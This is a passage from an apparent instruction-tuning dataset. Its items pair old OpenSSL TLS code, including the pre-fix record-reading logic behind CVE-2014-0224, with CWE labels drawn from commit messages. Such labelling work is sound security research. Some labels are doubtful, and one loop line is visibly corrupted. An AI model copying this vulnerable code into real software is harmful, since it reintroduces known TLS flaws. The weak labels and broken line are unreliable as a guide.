*/\n\t\t{\n\t\t/* make sure that we are not getting application data when we\n\t\t * are doing a handshake for the first time */\n\t\tif (SSL_in_init(s) && (type == SSL3_RT_APPLICATION_DATA) &&\n\t\t\t(s->enc_read_ctx == NULL))\n\t\t\t{\n\t\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_APP_DATA_IN_HANDSHAKE);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tif (len <= 0) return(len);\n\n\t\tif ((unsigned int)len > rr->length)\n\t\t\tn = rr->length;\n\t\telse\n\t\t\tn = (unsigned int)len;\n\n\t\tmemcpy(buf,&(rr->data[rr->off]),n);\n\t\tif (!peek)\n\t\t\t{\n\t\t\trr->length-=n;\n\t\t\trr->off+=n;\n\t\t\tif (rr->length == 0)\n\t\t\t\t{\n\t\t\t\ts->rstate=SSL_ST_READ_HEADER;\n\t\t\t\trr->off=0;\n\t\t\t\tif (s->mode & SSL_MODE_RELEASE_BUFFERS && s->s3->rbuf.left == 0)\n\t\t\t\t\tssl3_release_read_buffer(s);\n\t\t\t\t}\n\t\t\t}\n\t\treturn(n);\n\t\t}\n\n\n\t/* If we get here, then type != rr->type; if we have a handshake\n\t * message, then it was unexpected (Hello Request or Client Hello). */\n\n\t/* In case of record types for which we have 'fragment' storage,\n\t * fill that so that we can process the data at a fixed place.\n\t */\n\t\t{\n\t\tunsigned int dest_maxlen = 0;\n\t\tunsigned char *dest = NULL;\n\t\tunsigned int *dest_len = NULL;\n\n\t\tif (rr->type == SSL3_RT_HANDSHAKE)\n\t\t\t{\n\t\t\tdest_maxlen = sizeof s->s3->handshake_fragment;\n\t\t\tdest = s->s3->handshake_fragment;\n\t\t\tdest_len = &s->s3->handshake_fragment_len;\n\t\t\t}\n\t\telse if (rr->type == SSL3_RT_ALERT)\n\t\t\t{\n\t\t\tdest_maxlen = sizeof s->s3->alert_fragment;\n\t\t\tdest = s->s3->alert_fragment;\n\t\t\tdest_len = &s->s3->alert_fragment_len;\n\t\t\t}\n#ifndef OPENSSL_NO_HEARTBEATS\n\t\telse if (rr->type == TLS1_RT_HEARTBEAT)\n\t\t\t{\n\t\t\ttls1_process_heartbeat(s);\n\n\t\t\t/* Exit and notify application to read again */\n\t\t\trr->length = 0;\n\t\t\ts->rwstate=SSL_READING;\n\t\t\tBIO_clear_retry_flags(SSL_get_rbio(s));\n\t\t\tBIO_set_retry_read(SSL_get_rbio(s));\n\t\t\treturn(-1);\n\t\t\t}\n#endif\n\n\t\tif (dest_maxlen > 0)\n\t\t\t{\n\t\t\tn = dest_maxlen - *dest_len; /* available space in 'dest' */\n\t\t\tif (rr->length < n)\n\t\t\t\tn = rr->length; /* available bytes */\n\n\t\t\t/* now move 'n' bytes: */\n\t\t\twhile (n-- > 0)\n\t\t\t\t{\n\t\t\t\tdest[(*dest_len)++] = rr->data[rr->off++];\n\t\t\t\trr->length--;\n\t\t\t\t}\n\n\t\t\tif (*dest_len < dest_maxlen)\n\t\t\t\tgoto start; /* fragment was too small */\n\t\t\t}\n\t\t}\n\n\t/* s->s3->handshake_fragment_len == 4  iff  rr->type == SSL3_RT_HANDSHAKE;\n\t * s->s3->alert_fragment_len == 2      iff  rr->type == SSL3_RT_ALERT.\n\t * (Possibly rr is 'empty' now, i.e. rr->length may be 0.) */\n\n\t/* If we are a client, check for an incoming 'Hello Request': */\n\tif ((!s->server) &&\n\t\t(s->s3->handshake_fragment_len >= 4) &&\n\t\t(s->s3->handshake_fragment[0] == SSL3_MT_HELLO_REQUEST) &&\n\t\t(s->session != NULL) && (s->session->cipher != NULL))\n\t\t{\n\t\ts->s3->handshake_fragment_len = 0;\n\n\t\tif ((s->s3->handshake_fragment[1] != 0) ||\n\t\t\t(s->s3->handshake_fragment[2] != 0) ||\n\t\t\t(s->s3->handshake_fragment[3] != 0))\n\t\t\t{\n\t\t\tal=SSL_AD_DECODE_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_BAD_HELLO_REQUEST);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tif (s->msg_callback)\n\t\t\ts->msg_callback(0, s->version, SSL3_RT_HANDSHAKE, s->s3->handshake_fragment, 4, s, s->msg_callback_arg);\n\n\t\tif (SSL_is_init_finished(s) &&\n\t\t\t!(s->s3->flags & SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS) &&\n\t\t\t!s->s3->renegotiate)\n\t\t\t{\n\t\t\tssl3_renegotiate(s);\n\t\t\tif (ssl3_renegotiate_check(s))\n\t\t\t\t{\n\t\t\t\ti=s->handshake_func(s);\n\t\t\t\tif (i < 0) return(i);\n\t\t\t\tif (i == 0)\n\t\t\t\t\t{\n\t\t\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);\n\t\t\t\t\treturn(-1);\n\t\t\t\t\t}\n\n\t\t\t\tif (!(s->mode & SSL_MODE_AUTO_RETRY))\n\t\t\t\t\t{\n\t\t\t\t\tif (s->s3->rbuf.left == 0) /* no read-ahead left? */\n\t\t\t\t\t\t{\n\t\t\t\t\t\tBIO *bio;\n\t\t\t\t\t\t/* In the case where we try to read application data,\n\t\t\t\t\t\t * but we trigger an SSL handshake, we return -1 with\n\t\t\t\t\t\t * the retry option set.  Otherwise renegotiation may\n\t\t\t\t\t\t * cause nasty problems in the blocking world */\n\t\t\t\t\t\ts->rwstate=SSL_READING;\n\t\t\t\t\t\tbio=SSL_get_rbio(s);\n\t\t\t\t\t\tBIO_clear_retry_flags(bio);\n\t\t\t\t\t\tBIO_set_retry_read(bio);\n\t\t\t\t\t\treturn(-1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t/* we either finished a handshake or ignored the request,\n\t\t * now try again to obtain the (application) data we were asked for */\n\t\tgoto start;\n\t\t}\n\t/* If we are a server and get a client hello when renegotiation isn't\n\t * allowed send back a no renegotiation alert and carry on.\n\t * WARNING: experimental code, needs reviewing (steve)\n\t */\n\tif (s->server &&\n\t\tSSL_is_init_finished(s) &&\n    \t\t!s->s3->send_connection_binding &&\n\t\t(s->version > SSL3_VERSION) &&\n\t\t(s->s3->handshake_fragment_len >= 4) &&\n\t\t(s->s3->handshake_fragment[0] == SSL3_MT_CLIENT_HELLO) &&\n\t\t(s->session != NULL) && (s->session->cipher != NULL) &&\n\t\t!(s->ctx->options & SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION))\n\t\t\n\t\t{\n\t\t/*s->s3->handshake_fragment_len = 0;*/\n\t\trr->length = 0;\n\t\tssl3_send_alert(s,SSL3_AL_WARNING, SSL_AD_NO_RENEGOTIATION);\n\t\tgoto start;\n\t\t}\n\tif (s->s3->alert_fragment_len >= 2)\n\t\t{\n\t\tint alert_level = s->s3->alert_fragment[0];\n\t\tint alert_descr = s->s3->alert_fragment[1];\n\n\t\ts->s3->alert_fragment_len = 0;\n\n\t\tif (s->msg_callback)\n\t\t\ts->msg_callback(0, s->version, SSL3_RT_ALERT, s->s3->alert_fragment, 2, s, s->msg_callback_arg);\n\n\t\tif (s->info_callback != NULL)\n\t\t\tcb=s->info_callback;\n\t\telse if (s->ctx->info_callback != NULL)\n\t\t\tcb=s->ctx->info_callback;\n\n\t\tif (cb != NULL)\n\t\t\t{\n\t\t\tj = (alert_level << 8) | alert_descr;\n\t\t\tcb(s, SSL_CB_READ_ALERT, j);\n\t\t\t}\n\n\t\tif (alert_level == 1) /* warning */\n\t\t\t{\n\t\t\ts->s3->warn_alert = alert_descr;\n\t\t\tif (alert_descr == SSL_AD_CLOSE_NOTIFY)\n\t\t\t\t{\n\t\t\t\ts->shutdown |= SSL_RECEIVED_SHUTDOWN;\n\t\t\t\treturn(0);\n\t\t\t\t}\n\t\t\t/* This is a warning but we receive it if we requested\n\t\t\t * renegotiation and the peer denied it. Terminate with\n\t\t\t * a fatal alert because if application tried to\n\t\t\t * renegotiatie it presumably had a good reason and\n\t\t\t * expects it to succeed.\n\t\t\t *\n\t\t\t * In future we might have a renegotiation where we\n\t\t\t * don't care if the peer refused it where we carry on.\n\t\t\t */\n\t\t\telse if (alert_descr == SSL_AD_NO_RENEGOTIATION)\n\t\t\t\t{\n\t\t\t\tal = SSL_AD_HANDSHAKE_FAILURE;\n\t\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_NO_RENEGOTIATION);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n#ifdef SSL_AD_MISSING_SRP_USERNAME\n\t\t\telse if (alert_descr == SSL_AD_MISSING_SRP_USERNAME)\n\t\t\t\treturn(0);\n#endif\n\t\t\t}\n\t\telse if (alert_level == 2) /* fatal */\n\t\t\t{\n\t\t\tchar tmp[16];\n\n\t\t\ts->rwstate=SSL_NOTHING;\n\t\t\ts->s3->fatal_alert = alert_descr;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES, SSL_AD_REASON_OFFSET + alert_descr);\n\t\t\tBIO_snprintf(tmp,sizeof tmp,\"%d\",alert_descr);\n\t\t\tERR_add_error_data(2,\"SSL alert number \",tmp);\n\t\t\ts->shutdown|=SSL_RECEIVED_SHUTDOWN;\n\t\t\tSSL_CTX_remove_session(s->ctx,s->session);\n\t\t\treturn(0);\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\tal=SSL_AD_ILLEGAL_PARAMETER;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNKNOWN_ALERT_TYPE);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tgoto start;\n\t\t}\n\n\tif (s->shutdown & SSL_SENT_SHUTDOWN) /* but we have not received a shutdown */\n\t\t{\n\t\ts->rwstate=SSL_NOTHING;\n\t\trr->length=0;\n\t\treturn(0);\n\t\t}\n\n\tif (rr->type == SSL3_RT_CHANGE_CIPHER_SPEC)\n\t\t{\n\t\t/* 'Change Cipher Spec' is just a single byte, so we know\n\t\t * exactly what the record payload has to look like */\n\t\tif (\t(rr->length != 1) || (rr->off != 0) ||\n\t\t\t(rr->data[0] != SSL3_MT_CCS))\n\t\t\t{\n\t\t\tal=SSL_AD_ILLEGAL_PARAMETER;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_BAD_CHANGE_CIPHER_SPEC);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\t/* Check we have a cipher to change to */\n\t\tif (s->s3->tmp.new_cipher == NULL)\n\t\t\t{\n\t\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_CCS_RECEIVED_EARLY);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\trr->length=0;\n\n\t\tif (s->msg_callback)\n\t\t\ts->msg_callback(0, s->version, SSL3_RT_CHANGE_CIPHER_SPEC, rr->data, 1, s, s->msg_callback_arg);\n\n\t\ts->s3->change_cipher_spec=1;\n\t\tif (!ssl3_do_change_cipher_spec(s))\n\t\t\tgoto err;\n\t\telse\n\t\t\tgoto start;\n\t\t}\n\n\t/* Unexpected handshake message (Client Hello, or protocol violation) */\n\tif ((s->s3->handshake_fragment_len >= 4) &&\t!s->in_handshake)\n\t\t{\n\t\tif (((s->state&SSL_ST_MASK) == SSL_ST_OK) &&\n\t\t\t!(s->s3->flags & SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS))\n\t\t\t{\n#if 0 /* worked only because C operator preferences are not as expected (and\n       * because this is not really needed for clients except for detecting\n       * protocol violations): */\n\t\t\ts->state=SSL_ST_BEFORE|(s->server)\n\t\t\t\t?SSL_ST_ACCEPT\n\t\t\t\t:SSL_ST_CONNECT;\n#else\n\t\t\ts->state = s->server ? SSL_ST_ACCEPT : SSL_ST_CONNECT;\n#endif\n\t\t\ts->renegotiate=1;\n\t\t\ts->new_session=1;\n\t\t\t}\n\t\ti=s->handshake_func(s);\n\t\tif (i < 0) return(i);\n\t\tif (i == 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);\n\t\t\treturn(-1);\n\t\t\t}\n\n\t\tif (!(s->mode & SSL_MODE_AUTO_RETRY))\n\t\t\t{\n\t\t\tif (s->s3->rbuf.left == 0) /* no read-ahead left? */\n\t\t\t\t{\n\t\t\t\tBIO *bio;\n\t\t\t\t/* In the case where we try to read application data,\n\t\t\t\t * but we trigger an SSL handshake, we return -1 with\n\t\t\t\t * the retry option set.  Otherwise renegotiation may\n\t\t\t\t * cause nasty problems in the blocking world */\n\t\t\t\ts->rwstate=SSL_READING;\n\t\t\t\tbio=SSL_get_rbio(s);\n\t\t\t\tBIO_clear_retry_flags(bio);\n\t\t\t\tBIO_set_retry_read(bio);\n\t\t\t\treturn(-1);\n\t\t\t\t}\n\t\t\t}\n\t\tgoto start;\n\t\t}\n\n\tswitch (rr->type)\n\t\t{\n\tdefault:\n#ifndef OPENSSL_NO_TLS\n\t\t/* TLS up to v1.1 just ignores unknown message types:\n\t\t * TLS v1.2 give an unexpected message alert.\n\t\t */\n\t\tif (s->version >= TLS1_VERSION && s->version <= TLS1_1_VERSION)\n\t\t\t{\n\t\t\trr->length = 0;\n\t\t\tgoto start;\n\t\t\t}\n#endif\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNEXPECTED_RECORD);\n\t\tgoto f_err;\n\tcase SSL3_RT_CHANGE_CIPHER_SPEC:\n\tcase SSL3_RT_ALERT:\n\tcase SSL3_RT_HANDSHAKE:\n\t\t/* we already handled all of these, with the possible exception\n\t\t * of SSL3_RT_HANDSHAKE when s->in_handshake is set, but that\n\t\t * should not happen when type != rr->type */\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tSSLerr(SSL_F_SSL3_READ_BYTES,ERR_R_INTERNAL_ERROR);\n\t\tgoto f_err;\n\tcase SSL3_RT_APPLICATION_DATA:\n\t\t/* At this point, we were expecting handshake data,\n\t\t * but have application data.  If the library was\n\t\t * running inside ssl3_read() (i.e. in_read_app_data\n\t\t * is set) and it makes sense to read application data\n\t\t * at this point (session renegotiation not yet started),\n\t\t * we will indulge it.\n\t\t */\n\t\tif (s->s3->in_read_app_data &&\n\t\t\t(s->s3->total_renegotiations != 0) &&\n\t\t\t((\n\t\t\t\t(s->state & SSL_ST_CONNECT) &&\n\t\t\t\t(s->state >= SSL3_ST_CW_CLNT_HELLO_A) &&\n\t\t\t\t(s->state <= SSL3_ST_CR_SRVR_HELLO_A)\n\t\t\t\t) || (\n\t\t\t\t\t(s->state & SSL_ST_ACCEPT) &&\n\t\t\t\t\t(s->state <= SSL3_ST_SW_HELLO_REQ_A) &&\n\t\t\t\t\t(s->state >= SSL3_ST_SR_CLNT_HELLO_A)\n\t\t\t\t\t)\n\t\t\t\t))\n\t\t\t{\n\t\t\ts->s3->in_read_app_data=2;\n\t\t\treturn(-1);\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNEXPECTED_RECORD);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\t/* not reached */\n\nf_err:\n\tssl3_send_alert(s,SSL3_AL_FATAL,al);\nerr:\n\treturn(-1);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-326', 'CWE-310'], 'message': 'Fix for CVE-2014-0224\n\nOnly accept change cipher spec when it is expected instead of at any\ntime. This prevents premature setting of session keys before the master\nsecret is determined which an attacker could use as a MITM attack.\n\nThanks to KIKUCHI Masashi (Lepidum Co. Ltd.) for reporting this issue\nand providing the initial fix this patch is based on.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: long ssl2_ctrl(SSL *s, int cmd, long larg, void *parg)\n\t{\n\tint ret=0;\n\n\tswitch(cmd)\n\t\t{\n\tcase SSL_CTRL_GET_SESSION_REUSED:\n\t\tret=s->hit;\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t\t}\n\treturn(ret);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Support TLS_FALLBACK_SCSV.\n\nReviewed-by: Stephen Henson '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: STACK_OF(SSL_CIPHER) *ssl_bytes_to_cipher_list(SSL *s,unsigned char *p,int num,\n\t\t\t\t\t       STACK_OF(SSL_CIPHER) **skp)\n\t{\n\tconst SSL_CIPHER *c;\n\tSTACK_OF(SSL_CIPHER) *sk;\n\tint i,n;\n\tif (s->s3)\n\t\ts->s3->send_connection_binding = 0;\n\n\tn=ssl_put_cipher_by_char(s,NULL,NULL);\n\tif ((num%n) != 0)\n\t\t{\n\t\tSSLerr(SSL_F_SSL_BYTES_TO_CIPHER_LIST,SSL_R_ERROR_IN_RECEIVED_CIPHER_LIST);\n\t\treturn(NULL);\n\t\t}\n\tif ((skp == NULL) || (*skp == NULL))\n\t\tsk=sk_SSL_CIPHER_new_null(); /* change perhaps later */\n\telse\n\t\t{\n\t\tsk= *skp;\n\t\tsk_SSL_CIPHER_zero(sk);\n\t\t}\n\n\tfor (i=0; is3 && (n != 3 || !p[0]) &&\n\t\t\t(p[n-2] == ((SSL3_CK_SCSV >> 8) & 0xff)) &&\n\t\t\t(p[n-1] == (SSL3_CK_SCSV & 0xff)))\n\t\t\t{\n\t\t\t/* SCSV fatal if renegotiating */\n\t\t\tif (s->renegotiate)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL_BYTES_TO_CIPHER_LIST,SSL_R_SCSV_RECEIVED_WHEN_RENEGOTIATING);\n\t\t\t\tssl3_send_alert(s,SSL3_AL_FATAL,SSL_AD_HANDSHAKE_FAILURE); \n\t\t\t\tgoto err;\n\t\t\t\t}\n\t\t\ts->s3->send_connection_binding = 1;\n\t\t\tp += n;\n#ifdef OPENSSL_RI_DEBUG\n\t\t\tfprintf(stderr, \"SCSV received by server\\n\");\n#endif\n\t\t\tcontinue;\n\t\t\t}\n\n\t\tc=ssl_get_cipher_by_char(s,p);\n\t\tp+=n;\n\t\tif (c != NULL)\n\t\t\t{\n\t\t\tif (!sk_SSL_CIPHER_push(sk,c))\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL_BYTES_TO_CIPHER_LIST,ERR_R_MALLOC_FAILURE);\n\t\t\t\tgoto err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tif (skp != NULL)\n\t\t*skp=sk;\n\treturn(sk);\nerr:\n\tif ((skp == NULL) || (*skp == NULL))\n\t\tsk_SSL_CIPHER_free(sk);\n\treturn(NULL);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Support TLS_FALLBACK_SCSV.\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: unsigned char *ssl_add_clienthello_tlsext(SSL *s, unsigned char *buf, unsigned char *limit)\n\t{\n\tint extdatalen=0;\n\tunsigned char *orig = buf;\n\tunsigned char *ret = buf;\n\n\t/* don't add extensions for SSLv3 unless doing secure renegotiation */\n\tif (s->client_version == SSL3_VERSION\n\t\t\t\t\t&& !s->s3->send_connection_binding)\n\t\treturn orig;\n\n\tret+=2;\n\n\tif (ret>=limit) return NULL; /* this really never occurs, but ... */\n\n \tif (s->tlsext_hostname != NULL)\n\t\t{ \n\t\t/* Add TLS extension servername to the Client Hello message */\n\t\tunsigned long size_str;\n\t\tlong lenmax; \n\n\t\t/* check for enough space.\n\t\t   4 for the servername type and entension length\n\t\t   2 for servernamelist length\n\t\t   1 for the hostname type\n\t\t   2 for hostname length\n\t\t   + hostname length \n\t\t*/\n\t\t   \n\t\tif ((lenmax = limit - ret - 9) < 0 \n\t\t    || (size_str = strlen(s->tlsext_hostname)) > (unsigned long)lenmax) \n\t\t\treturn NULL;\n\t\t\t\n\t\t/* extension type and length */\n\t\ts2n(TLSEXT_TYPE_server_name,ret); \n\t\ts2n(size_str+5,ret);\n\t\t\n\t\t/* length of servername list */\n\t\ts2n(size_str+3,ret);\n\t\n\t\t/* hostname type, length and hostname */\n\t\t*(ret++) = (unsigned char) TLSEXT_NAMETYPE_host_name;\n\t\ts2n(size_str,ret);\n\t\tmemcpy(ret, s->tlsext_hostname, size_str);\n\t\tret+=size_str;\n\t\t}\n\n        /* Add RI if renegotiating */\n        if (s->renegotiate)\n          {\n          int el;\n          \n          if(!ssl_add_clienthello_renegotiate_ext(s, 0, &el, 0))\n              {\n              SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n              return NULL;\n              }\n\n          if((limit - ret - 4 - el) < 0) return NULL;\n          \n          s2n(TLSEXT_TYPE_renegotiate,ret);\n          s2n(el,ret);\n\n          if(!ssl_add_clienthello_renegotiate_ext(s, ret, &el, el))\n              {\n              SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n              return NULL;\n              }\n\n          ret += el;\n        }\n\n#ifndef OPENSSL_NO_SRP\n\t/* Add SRP username if there is one */\n\tif (s->srp_ctx.login != NULL)\n\t\t{ /* Add TLS extension SRP username to the Client Hello message */\n\n\t\tint login_len = strlen(s->srp_ctx.login);\t\n\t\tif (login_len > 255 || login_len == 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n\t\t\treturn NULL;\n\t\t\t} \n\n\t\t/* check for enough space.\n\t\t   4 for the srp type type and entension length\n\t\t   1 for the srp user identity\n\t\t   + srp user identity length \n\t\t*/\n\t\tif ((limit - ret - 5 - login_len) < 0) return NULL; \n\n\t\t/* fill in the extension */\n\t\ts2n(TLSEXT_TYPE_srp,ret);\n\t\ts2n(login_len+1,ret);\n\t\t(*ret++) = (unsigned char) login_len;\n\t\tmemcpy(ret, s->srp_ctx.login, login_len);\n\t\tret+=login_len;\n\t\t}\n#endif\n\n#ifndef OPENSSL_NO_EC\n\tif (s->tlsext_ecpointformatlist != NULL)\n\t\t{\n\t\t/* Add TLS extension ECPointFormats to the ClientHello message */\n\t\tlong lenmax; \n\n\t\tif ((lenmax = limit - ret - 5) < 0) return NULL; \n\t\tif (s->tlsext_ecpointformatlist_length > (unsigned long)lenmax) return NULL;\n\t\tif (s->tlsext_ecpointformatlist_length > 255)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n\t\t\treturn NULL;\n\t\t\t}\n\t\t\n\t\ts2n(TLSEXT_TYPE_ec_point_formats,ret);\n\t\ts2n(s->tlsext_ecpointformatlist_length + 1,ret);\n\t\t*(ret++) = (unsigned char) s->tlsext_ecpointformatlist_length;\n\t\tmemcpy(ret, s->tlsext_ecpointformatlist, s->tlsext_ecpointformatlist_length);\n\t\tret+=s->tlsext_ecpointformatlist_length;\n\t\t}\n\tif (s->tlsext_ellipticcurvelist != NULL)\n\t\t{\n\t\t/* Add TLS extension EllipticCurves to the ClientHello message */\n\t\tlong lenmax; \n\n\t\tif ((lenmax = limit - ret - 6) < 0) return NULL; \n\t\tif (s->tlsext_ellipticcurvelist_length > (unsigned long)lenmax) return NULL;\n\t\tif (s->tlsext_ellipticcurvelist_length > 65532)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n\t\t\treturn NULL;\n\t\t\t}\n\t\t\n\t\ts2n(TLSEXT_TYPE_elliptic_curves,ret);\n\t\ts2n(s->tlsext_ellipticcurvelist_length + 2, ret);\n\n\t\t/* NB: draft-ietf-tls-ecc-12.txt uses a one-byte prefix for\n\t\t * elliptic_curve_list, but the examples use two bytes.\n\t\t * http://www1.ietf.org/mail-archive/web/tls/current/msg00538.html\n\t\t * resolves this to two bytes.\n\t\t */\n\t\ts2n(s->tlsext_ellipticcurvelist_length, ret);\n\t\tmemcpy(ret, s->tlsext_ellipticcurvelist, s->tlsext_ellipticcurvelist_length);\n\t\tret+=s->tlsext_ellipticcurvelist_length;\n\t\t}\n#endif /* OPENSSL_NO_EC */\n\n\tif (!(SSL_get_options(s) & SSL_OP_NO_TICKET))\n\t\t{\n\t\tint ticklen;\n\t\tif (!s->new_session && s->session && s->session->tlsext_tick)\n\t\t\tticklen = s->session->tlsext_ticklen;\n\t\telse if (s->session && s->tlsext_session_ticket &&\n\t\t\t s->tlsext_session_ticket->data)\n\t\t\t{\n\t\t\tticklen = s->tlsext_session_ticket->length;\n\t\t\ts->session->tlsext_tick = OPENSSL_malloc(ticklen);\n\t\t\tif (!s->session->tlsext_tick)\n\t\t\t\treturn NULL;\n\t\t\tmemcpy(s->session->tlsext_tick,\n\t\t\t       s->tlsext_session_ticket->data,\n\t\t\t       ticklen);\n\t\t\ts->session->tlsext_ticklen = ticklen;\n\t\t\t}\n\t\telse\n\t\t\tticklen = 0;\n\t\tif (ticklen == 0 && s->tlsext_session_ticket &&\n\t\t    s->tlsext_session_ticket->data == NULL)\n\t\t\tgoto skip_ext;\n\t\t/* Check for enough room 2 for extension type, 2 for len\n \t\t * rest for ticket\n  \t\t */\n\t\tif ((long)(limit - ret - 4 - ticklen) < 0) return NULL;\n\t\ts2n(TLSEXT_TYPE_session_ticket,ret); \n\t\ts2n(ticklen,ret);\n\t\tif (ticklen)\n\t\t\t{\n\t\t\tmemcpy(ret, s->session->tlsext_tick, ticklen);\n\t\t\tret += ticklen;\n\t\t\t}\n\t\t}\n\t\tskip_ext:\n\n\tif (TLS1_get_client_version(s) >= TLS1_2_VERSION)\n\t\t{\n\t\tif ((size_t)(limit - ret) < sizeof(tls12_sigalgs) + 6)\n\t\t\treturn NULL; \n\t\ts2n(TLSEXT_TYPE_signature_algorithms,ret);\n\t\ts2n(sizeof(tls12_sigalgs) + 2, ret);\n\t\ts2n(sizeof(tls12_sigalgs), ret);\n\t\tmemcpy(ret, tls12_sigalgs, sizeof(tls12_sigalgs));\n\t\tret += sizeof(tls12_sigalgs);\n\t\t}\n\n#ifdef TLSEXT_TYPE_opaque_prf_input\n\tif (s->s3->client_opaque_prf_input != NULL &&\n\t    s->version != DTLS1_VERSION)\n\t\t{\n\t\tsize_t col = s->s3->client_opaque_prf_input_len;\n\t\t\n\t\tif ((long)(limit - ret - 6 - col < 0))\n\t\t\treturn NULL;\n\t\tif (col > 0xFFFD) /* can't happen */\n\t\t\treturn NULL;\n\n\t\ts2n(TLSEXT_TYPE_opaque_prf_input, ret); \n\t\ts2n(col + 2, ret);\n\t\ts2n(col, ret);\n\t\tmemcpy(ret, s->s3->client_opaque_prf_input, col);\n\t\tret += col;\n\t\t}\n#endif\n\n\tif (s->tlsext_status_type == TLSEXT_STATUSTYPE_ocsp &&\n\t    s->version != DTLS1_VERSION)\n\t\t{\n\t\tint i;\n\t\tlong extlen, idlen, itmp;\n\t\tOCSP_RESPID *id;\n\n\t\tidlen = 0;\n\t\tfor (i = 0; i < sk_OCSP_RESPID_num(s->tlsext_ocsp_ids); i++)\n\t\t\t{\n\t\t\tid = sk_OCSP_RESPID_value(s->tlsext_ocsp_ids, i);\n\t\t\titmp = i2d_OCSP_RESPID(id, NULL);\n\t\t\tif (itmp <= 0)\n\t\t\t\treturn NULL;\n\t\t\tidlen += itmp + 2;\n\t\t\t}\n\n\t\tif (s->tlsext_ocsp_exts)\n\t\t\t{\n\t\t\textlen = i2d_X509_EXTENSIONS(s->tlsext_ocsp_exts, NULL);\n\t\t\tif (extlen < 0)\n\t\t\t\treturn NULL;\n\t\t\t}\n\t\telse\n\t\t\textlen = 0;\n\t\t\t\n\t\tif ((long)(limit - ret - 7 - extlen - idlen) < 0) return NULL;\n\t\ts2n(TLSEXT_TYPE_status_request, ret);\n\t\tif (extlen + idlen > 0xFFF0)\n\t\t\treturn NULL;\n\t\ts2n(extlen + idlen + 5, ret);\n\t\t*(ret++) = TLSEXT_STATUSTYPE_ocsp;\n\t\ts2n(idlen, ret);\n\t\tfor (i = 0; i < sk_OCSP_RESPID_num(s->tlsext_ocsp_ids); i++)\n\t\t\t{\n\t\t\t/* save position of id len */\n\t\t\tunsigned char *q = ret;\n\t\t\tid = sk_OCSP_RESPID_value(s->tlsext_ocsp_ids, i);\n\t\t\t/* skip over id len */\n\t\t\tret += 2;\n\t\t\titmp = i2d_OCSP_RESPID(id, &ret);\n\t\t\t/* write id len */\n\t\t\ts2n(itmp, q);\n\t\t\t}\n\t\ts2n(extlen, ret);\n\t\tif (extlen > 0)\n\t\t\ti2d_X509_EXTENSIONS(s->tlsext_ocsp_exts, &ret);\n\t\t}\n\n#ifndef OPENSSL_NO_HEARTBEATS\n\t/* Add Heartbeat extension */\n\tif ((limit - ret - 4 - 1) < 0)\n\t\treturn NULL;\n\ts2n(TLSEXT_TYPE_heartbeat,ret);\n\ts2n(1,ret);\n\t/* Set mode:\n\t * 1: peer may send 